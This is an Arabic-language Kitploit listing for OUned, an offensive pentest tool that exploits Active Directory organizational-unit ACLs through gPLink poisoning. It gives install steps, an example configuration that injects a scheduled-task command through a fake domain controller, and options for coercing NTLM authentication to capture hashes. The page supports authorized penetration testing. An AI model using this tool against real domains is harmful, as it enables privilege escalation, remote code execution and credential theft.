Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
OUned — مشروع OUned الذي يعمل على أتمتة استغلال قوائم التحكم بالوصول (ACL) للوحدات التنظيمية في Active Directory عبر تسميم gPLink. | Kitploit
أدوات/GitHubGitHub/synacktiv/ouned
تصعيد الامتيازاتالاستغلالالحركة الجانبيةاختبار الاختراقالمصادقةسوء التكوين
GitHubsynacktiv/ouned

OUned

مشروع OUned الذي يعمل على أتمتة استغلال قوائم التحكم بالوصول (ACL) للوحدات التنظيمية في Active Directory عبر تسميم gPLink.

عرض المستودع
16114منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

OUned

مشروع OUned، أداة استغلال تعمل على أتمتة استغلال قوائم التحكم بالوصول (ACLs) للوحدات التنظيمية عبر التلاعب بخاصية gPLink.

للحصول على شرح مفصّل حول المبدأ الكامن وراء الهجوم، والإعدادات اللازمة، بالإضافة إلى كيفية استخدام الأداة، يمكنك الرجوع إلى المقالة المرتبطة: https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory

التثبيت

يمكن إجراء التثبيت عن طريق استنساخ المستودع وتثبيت التبعيات:

root@kitploit:~
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt

ملف الإعدادات

يتم تمرير وسائط OUned من خلال ملف إعدادات - يوجد ملف مثال في المستودع، config.example.ini.

كل إدخال موصوف بتعليق، لكن للحصول على تعليمات إعداد مفصلة، يرجى الرجوع إلى المقالة المذكورة في المقدمة أعلاه.

root@kitploit:~
[GENERAL]
# The target domain name
domain=corp.com

# The target DC. If not specified, defaults to the domain name
#dc=192.168.123.10

# The Distinguished Name of the target container
containerDN=OU=SERVERS,DC=corp,DC=com

# The username and password of the user having write permissions on the gPLink attribute of the target container
username=naugustine
password=Password1

# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.16

# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
command=whoami > C:\poc.txt
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive
# module=Scheduledtask_add_computer.ini

# The kind of objects targeted ("computer" or "user")
target_type=computer


[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.245

# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-TTEBC5VH747

# The username and password of a domain administrator on the dummy domain controller 
ldap_username=ldapadm
ldap_password=Password1!

# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6

# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password

[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded

# The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
share_name=synacktiv

# The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode
#smb_ip=192.168.126.206

# The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode
#smb_username=smbadm
#smb_password=Password1!

# The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password

استخدام OUned

الوسيط الإلزامي الوحيد عند تشغيل OUned هو الخيار --config الذي يحدد المسار إلى ملف الإعدادات.

يُستخدمان الخياران --just-coerce وcoerce-to معًا لوضع إجبار مصادقة SMB، حيث يجبر OUned كائنات OU الفرعية على مصادقة SMB إلى الوجهة المحددة - لمزيد من التفاصيل، راجع المقالة المرتبطة في المقدمة.

بخصوص الخيار --just-clean، راجع القسم التالي.

root@kitploit:~
python3 OUned.py --help
                                                                                                                                                                                    
 Usage: OUned.py [OPTIONS]                                                                                                                                                          
                                                                                                                                                                                    
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --config               TEXT  The configuration file for OUned [default: None] [required]                                                                                      │
│    --skip-checks                Do not perform the various checks related to the exploitation setup                                                                              │
│    --just-coerce                Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is           │
│                                 specified, to a local SMB server that will print their NetNTLMv2 hashes                                                                          │
│    --coerce-to            TEXT  Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None]                   │
│    --just-clean                 This flag indicates that OUned should only perform cleaning actions from specified cleaning-file                                                 │
│    --cleaning-file        TEXT  The path to the cleaning file in case the --just-clean flag is used [default: None]                                                              │
│    --verbose                    Enable verbose output                                                                                                                            │
│    --help                       Show this message and exit.                                                                                                                      │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

حول التنظيف

افتراضيًا، وكما هو موضح في المقالة، سينفذ OUned إجراءات تنظيف ويعيد من بين أمور أخرى قيمة gPLink الأصلية في المجال الهدف. في حال لم يتمكن الاستغلال من الخروج بشكل صحيح، يقوم OUned بإنشاء ملف تنظيف في كل مرة يتم فيها تنفيذ الاستغلال، ويمكن استخدامه لاحقًا لاستعادة القيم الشرعية باستخدام الخيار --just-clean؛ على سبيل المثال:

root@kitploit:~
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt
تنزيل الأداة